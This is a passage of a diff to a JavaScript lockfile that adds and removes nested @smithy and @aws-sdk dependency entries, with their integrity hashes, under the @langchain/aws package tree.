- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9935,16 +9685,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9959,14 +9705,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9977,26 +9723,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -10091,18 +9827,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -10129,48 +9857,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
